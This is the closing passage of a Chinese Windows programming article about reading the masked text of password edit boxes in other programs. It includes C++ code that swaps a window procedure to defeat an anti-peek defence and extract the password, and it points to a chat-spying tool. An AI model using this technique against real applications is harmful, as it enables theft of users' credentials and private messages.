WEB开发网
开发学院软件开发VC 偷窥桌面程序和IE浏览器的密码编辑框 阅读

偷窥桌面程序和IE浏览器的密码编辑框

 2010-05-12 20:35:38 来源:WEB开发网   
核心提示:在你自己的程序中,如果想要获得密码框的文本,偷窥桌面程序和IE浏览器的密码编辑框(6),你得像下面这样做:TCHARsz[1024];::SendMessage(hPasswordEdit,WM_GETTEXT,1024,(LPARAM)sz);如果其它例程调用以获取秘密,由WM_GETTEXTLENGTH 会得到正确

在你自己的程序中,如果想要获得密码框的文本,你得像下面这样做:

TCHAR sz[1024];
::SendMessage(hPasswordEdit, WM_GETTEXT, 1024, (LPARAM)sz);

如果其它例程调用以获取秘密,由WM_GETTEXTLENGTH 会得到正确的长度,但是当正确的长度缓冲给了我们的 AntiPeekEdit,我们便知道它由某些其它的非安全源代码调用,所以我们可以返回垃圾数据。你还可以完全放弃 WM_GETTEXT 并使用 WM_USER + 123 消息来获取文本。让我们回头来考虑如何化解这种AntiPeekEdit。我们知道为何要使用钩子DLL,同时在远程进程中查询密码,Win2K密码编辑框是不接受来自本进程边界以外的 WM_GETTEXT 消息的。以上策略以用户定义的过程代替标准的Edit类窗口过程,那么,反过来当 SuperPasswordSpy++ 进行偷窥活动时,如何用标准的Edit类窗口过程代替用户定义的过程呢。HWND hParent = ::GetParent(g_hTarget);
//g_hTarget 是我们要的秘密编辑框句柄
HWND hwndEdit = CreateWindow( 
_T("EDIT"), // 预定义类
NULL, // 没有窗口标题
WS_CHILD | WS_VISIBLE | WS_VSCROLL |
ES_LEFT | ES_MULTILINE | ES_AUTOVSCROLL,
0, 0, 0, 0, // 在WM_SIZE 消息中设置大小
hParent,   // 父窗口
(HMENU)123,
// 编辑框ID——注意在同胞窗口中必须唯一
(HINSTANCE) GetWindowLong(g_hTarget, GWL_HINSTANCE),
NULL); // 不需要指针
//获得标准的Edit 类窗口过程
LONG_PTR lpNewEdit = GetWindowLongPtr(hwndEdit, GWLP_WNDPROC);
LONG_PTR lp = ::SetWindowLongPtr(g_hTarget, GWLP_WNDPROC,
                (LONG_PTR)lpNewEdit);

//在这里取密码——只在这里调用
//SuperPasswordSpy++
SendMessage(g_hTarget, WM_GETTEXT, sizeof(szBuffer) /
      sizeof(TCHAR), (LPARAM)szBuffer);

//重置原来的窗口过程
::SetWindowLongPtr(g_hTarget, GWLP_WNDPROC, (LONG_PTR)lp);

请注意控件ID参数何时创建伪编辑框,在同胞中它必须唯一,我此处使用123作为占位符。你可以编写额外代码来枚举同胞窗口并获得唯一ID,并记住最后销毁伪编辑框。在大多数情况下,这样做实在是有牛刀杀鸡之嫌,所以我在SuperPasswordSpy++中没有这种方法,以便保证性能和高稳定性。然而,一旦你真的遇到这样的反偷窥秘密编辑框,去掉SuperPasswordSpy++中注释的代码即可,并牢记伪编辑框的控制ID一定要惟一。如果有人热衷于反-反-反偷窥,那么也许你可以添加一个全局变量标志,在取密码前设置该标志,取完之后再置回来…那么为何不用某种算法在 WM_GETTEXT消息处理例程中加密文本呢?

3、其它的偷窥Spy工具

如果你想偷窥 MSN Messenger/Windows Messenger 的聊天信息,请参考笔者的另外一篇文章“MessengerSpy++”。如下图所示:

上一页  1 2 3 4 5 6 

Tags:偷窥 桌面 程序

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接